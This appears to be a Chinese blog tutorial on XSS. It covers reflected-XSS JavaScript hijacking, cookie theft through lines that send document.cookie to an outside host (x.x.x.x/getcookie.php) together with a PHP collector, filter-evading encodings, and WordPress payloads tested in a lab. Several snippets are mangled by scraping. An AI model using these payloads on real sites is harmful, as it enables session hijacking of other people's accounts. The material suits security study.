点击阅读

利用 xss 的 javascript 劫持

一个 xss 漏洞示例页面

1

2

3

4

5

6

7

8

9

10

$xss = @$_GET['xss'];

if($xss!==null){

echo $xss;

}

?>

这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为 xss 的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果 xss 中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素

例如

1

2

3

4

5

6

7

8

9

10

Javascript Hijack with XSS

script.js 内容为

1

2

3

4

function Hello()

{

alert("hi");

}

当传入 xss 为

xss=function Hello() { alert("hacked"); } 时

鼠标点击会弹出 hacked 而非预定的 hi

这里利用 xss 漏洞劫持 javascript 代码

可以传入以执行较长的代码

XSS 会话劫持

可以在含 xss 漏洞的地方使用以下类似代码盗取 cookie

window.open("http://x.x.x.x/getcookie.php?cookie="+document.cookie)

document.location="http://x.x.x.x/getcookie.php?cookie="+document.cookie;

getcookie.php:

1

2

3

4

5

$cookie=@$_GET['cookie'];

$path="./cookies.txt";

file_put_contents($path,$cookie.PHP_EOL, FILE_APPEND);

?>

为防止察觉,使用 javascript

script.js:

1

2

3

var script =document.createElement('script');

script.src='http://x.x.x.x/getcookie.php?cookie='+escape(document.cookie);

document.body.appendChild(script);

xss 常用的编码

bWAPP 中的 XSS - Reflected (AJAX/XML)

输入 <img src=1 οnerrοr="alert(document.cookie)">

弹窗获取 cookie

<、>分别为的 HTML tag

第一个,html 实体编码,例如:

alert()

第二个,进制类,例如:

x61x6cx65x72x74x60x78x73x73x60

某些时候,也有不带 x,例如:5c6a

第三个,Unicode,例如:

u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060

第四个,纯转义,例如:

' " < >

这样的在特殊字符前加进行转义。

html 标签中:

1

2

3

4

5

html中当然会支持html实体编码,例如=,也有<

支持十六进制,但是要以开头,其中x大写小写无所谓。

支持十进制,要以开头,注意,没有x哦。

支持数字部分高位补充0,例如=,=这两是一样的。

可能你已经发现了,后缀有没有; 都无所谓

javascript 中:

1

2

3

eval函数里,支持十六进制,但是要以 x 开头,x只能小写!必须两位,例如:x5c

eval函数里,支持八进制,但是要以 开头。必须两位,例如:134

eval函数里,还支持u前缀的unicode,本质是:16进制的ascii码。必须是四位,例如:u005c

WordPress XSS 漏洞

于是下载了 wordpress-3.8.3 在虚拟机测试

发现管理员登陆时,编辑内容并不会被过滤

编辑文章,回到首页查看

但是 chrome 下弹出的 cookie 似乎被过滤了,最关键的部分并没有,利用 js 在服务器上获取的 cookie 同样不完整

firefox 下却没问题

以下两个地方都被插入了代码,也会弹出两次

标题

侧栏

去官网下了个最新版 WordPress

管理员的编辑仍不会被过滤

接收到 cookie

wordpress 站点有多个用户,当不是管理员时

漏洞的成因是在/wp-includes/formatting.php 中的 wptexturize 函数

formatting.php 应该是用于清理 XHTML 和用特定字符集正确格式化文本

1

2

3

4

5

6

7

8

9

10

11

12

13

function wptexturize($text) {

......

$textarr = preg_split('/(<.>|[.*])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);

foreach ( $textarr as &$curl ) {

......

}

return implode( '', $textarr );

}

这里的正则/(<.>|[.*])/Us会匹配

1

2

3

4

5

6

7

//这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗

[["][a>alert(1)]

前后台都能弹窗 似乎还是老的onmouseover能用

[[" NOT VULNERABLE]

然而我发现这 payload 没什么效果,有时间再好好看看,完善一下

ajax在Xss中的利用,XSS高级利用相关推荐

  1. xss植入_xss的高级利用

    以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象.之前本站 ...

  2. 【网络安全】如何使用ppmap检测和利用XSS漏洞

    关于ppmap ppmap是一款基于Go开发的漏洞扫描器/漏洞利用工具,该工具能够通过在全局上下文中检查特定变量来扫描.检测和利用XSS漏洞.该工具目前只能利用已知Gadget(可能支持部分自定义开发 ...

  3. 浅析图片XSS中的哪些技术问题

    本文讲的是浅析图片XSS中的哪些技术问题,跨站请求漏洞是web漏洞中最普遍的漏洞,在特定的场景下可以造成很严重的破坏.可以让攻击者在受害者浏览器上执行一个恶意脚本,网络上关于这方面的文章已经很多了. ...

  4. html %3c 不给转义,八个无法利用XSS漏洞的场景

    ☝☝ 相信有很多的小盆友们曾经发现过一些疑似存在XSS漏洞的站点,但又无法完全证明这个漏洞是可以被利用的.此时的你可能处于怀疑状态,也有可能你已经验证到一半了,严重怀疑其有精神病(XSS漏洞)的情况. ...

  5. xss植入_网站xss漏洞的利用过程

    XSS跨站脚本,是一种Web安全漏洞,有趣是是他并不像SQL注入等攻击手段攻击服务端,本身对Web服务器没有危害,攻击的对象是客户端,使用浏览器访问这些恶意地址的网民.这里就跟大家稍微讲解一下网站xs ...

  6. 利用XSS漏洞实现键盘记录器

    利用XSS漏洞实现键盘记录器 本实验以反射性的XSS漏洞为例 实验环境:dvwa靶机(ip:192.168.135.140) kali linux(ip:192.168.135.138) 1.首先开启 ...

  7. 利用XSS进行网页钓鱼

    [XSS漏洞]利用XSS进行网页钓鱼 Hello 各位小伙伴周末晚上好 这里是你们微胖的小编Monster. 话说小编的老妈今天给小编打电话,叮嘱我平时吃饭少吃一点- 说昨天看我朋友圈发的照片,已经从 ...

  8. xss sql注入 php,利用xss 执行sql注入

    看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1. ...

  9. 【网络安全】嘴对嘴教你利用XSS攻击,体验一次当黑客的感觉

    一:什么是XSS攻击呢? 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆.因此,有 ...

最新文章

  1. boost::coroutine模块实现分段堆栈的测试程序
  2. python3 正则表达式模块re相关
  3. Android接收系统广播
  4. SQL Server 2008的安装
  5. JarvisOJ Misc shell流量分析
  6. java认证考试试卷_java认证考试试题及答案
  7. adb 重启应用程序
  8. Node.js从入门到精通
  9. python编写一个程序、判断用户输入的数是正数还是负数_编写一个程序,判断用户输入的数是正数还是负数。_学小易找答案...
  10. 2018级《程序设计基础(B)II》期末上机考试 重现--SDUT
  11. 关于幼儿教师音乐素养对幼儿成长影响力的研究的论文怎么写呀
  12. vivos9保密柜从哪里进
  13. KeyError: 'data'
  14. Kubernetes 1.25 正式发布,多方面重大突破
  15. 合资品牌车联网或率先尝到车联网技术的甜头?
  16. 数学建模中的ARMA模型和ARIMA模型的使用实例(含代码)
  17. 关了资源管理器电脑白屏解决办法
  18. 基于朴素贝叶斯分类器的西瓜数据集 2.0 预测分类_朴素贝叶斯(转载自Morgan)...
  19. springboot整合阿里云OCR实现身份证和营业执照识别
  20. Mac App项目开发总结

热门文章

  1. 【Android工具】好软件推荐,安卓手机免费好用的SSH客户端——JuiceSSH
  2. 做支付遇到的HttpClient大坑(一)
  3. android 打包出现错误Error: ResourceName
  4. java.util.concurrent介绍
  5. FTP linux-500 OOPS问题解决 (转载)
  6. js小记 function 的 length 属性
  7. 复合赋值运算简单赋值运算
  8. Windows Live Writer 工具插件
  9. 有些话不知道怎么说才好
  10. I2C 简介(备忘)